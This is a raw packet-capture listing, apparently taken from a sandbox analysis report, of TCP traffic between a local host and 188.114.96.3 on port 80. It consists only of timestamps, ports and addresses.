Aug 27, 2024 09:49:35.543956995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.543962955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.544003010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.544455051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.544485092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.544497967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.544521093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.544538021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.544558048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.544575930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.545293093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.545325041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.545341015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.565502882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.565519094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.565532923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.565783024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.629260063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629298925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629312038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629324913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629513025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629570961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629584074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629630089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629638910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.629642963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.629688025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.630387068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.630413055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.630424023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.630449057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.630481958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.630491018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.630502939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.630603075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.631239891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.631287098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.631299019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.631340027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.631345987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.631351948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.631380081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.632119894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.632132053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.632143021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.632188082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.632200956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.632209063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.632220984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.632308960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.632975101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633002996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633014917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633059025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.633084059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633096933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633121967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.633946896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.633995056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634006023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634020090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634031057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634032011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.634042978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.634138107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.634704113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634746075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634757996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634787083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.634805918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634818077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.634845018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.635610104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.635621071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.635627031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.635664940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.635677099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.635684967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.635776997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.636440992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.636605024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.636615992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.636627913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.636650085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.636737108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716053009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716116905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716135979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716149092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716161013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716198921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716208935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716248035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716259003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716336966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716357946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716434002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716445923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716459036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716469049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716475964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716490030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716730118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716763020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716774940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716794968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716806889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716845036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716856956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716871023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716892004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.716960907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.716969967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717071056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717216015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717259884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717272997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717273951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717364073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717372894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717375040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717386961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717397928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717468977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717468977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717509985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717521906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717533112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717545033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717556000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717557907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717592955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.717751980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.717875004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718204021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718245983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718256950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718286991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718414068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718425989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718436956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718450069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718461037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718487978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718647957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718658924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718669891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718682051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718693972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718696117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718709946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.718718052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.718732119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719069958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719079971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719089985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719182968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719211102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719222069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719233036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719244957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719257116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719293118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719317913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719330072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719341040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719352961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719362974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719364882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719376087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.719399929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.719537973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720063925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720076084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720087051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720133066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720133066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720145941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720158100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720169067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720175028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720190048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720278025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720288992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720300913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720313072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720324039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720324993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720336914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720347881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720357895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720874071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720931053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.720942974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720953941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.720999002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.721004009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.721019030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.721030951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.721036911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.721121073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803018093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803046942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803061008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803126097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803132057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803138018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803150892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803158045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803165913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803194046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803206921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803221941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803236008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803368092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803395987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803400040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803409100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803415060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803427935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803441048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803446054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803488016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803541899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803582907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803595066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803606987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803625107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803644896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803698063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803709984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803723097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803735971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803741932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803782940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803822041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803836107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803867102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803874016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803879976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803910971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.803930044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803942919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.803989887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804038048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804050922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804063082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804090023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804111004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804128885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804141998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804153919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804160118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804171085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804177046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804183960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804219961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804301023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804316998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804327965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804349899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804364920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804522038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804548025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804560900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804598093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804678917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804691076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804702997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804714918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804719925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804744005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804886103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804898977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804910898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804922104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804932117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804934978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804940939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804948092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804960966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804972887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.804986954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.804987907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805015087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.805028915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.805150032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805161953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805174112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805186033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805200100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805201054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.805212975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.805239916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.805321932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808180094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808192968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808204889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808249950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808253050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808264017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808274984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808286905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808293104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808311939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808340073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808360100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808427095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808439970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808444023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808469057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808532000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808543921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808562994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808573008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808574915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808593035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808603048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808605909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808629990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808712959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808753967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808794022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808805943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808819056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808839083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808943033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808954954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808964968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808976889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.808984995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.808990955 CEST	80	49715	188.114.96.3	192.168.2.8
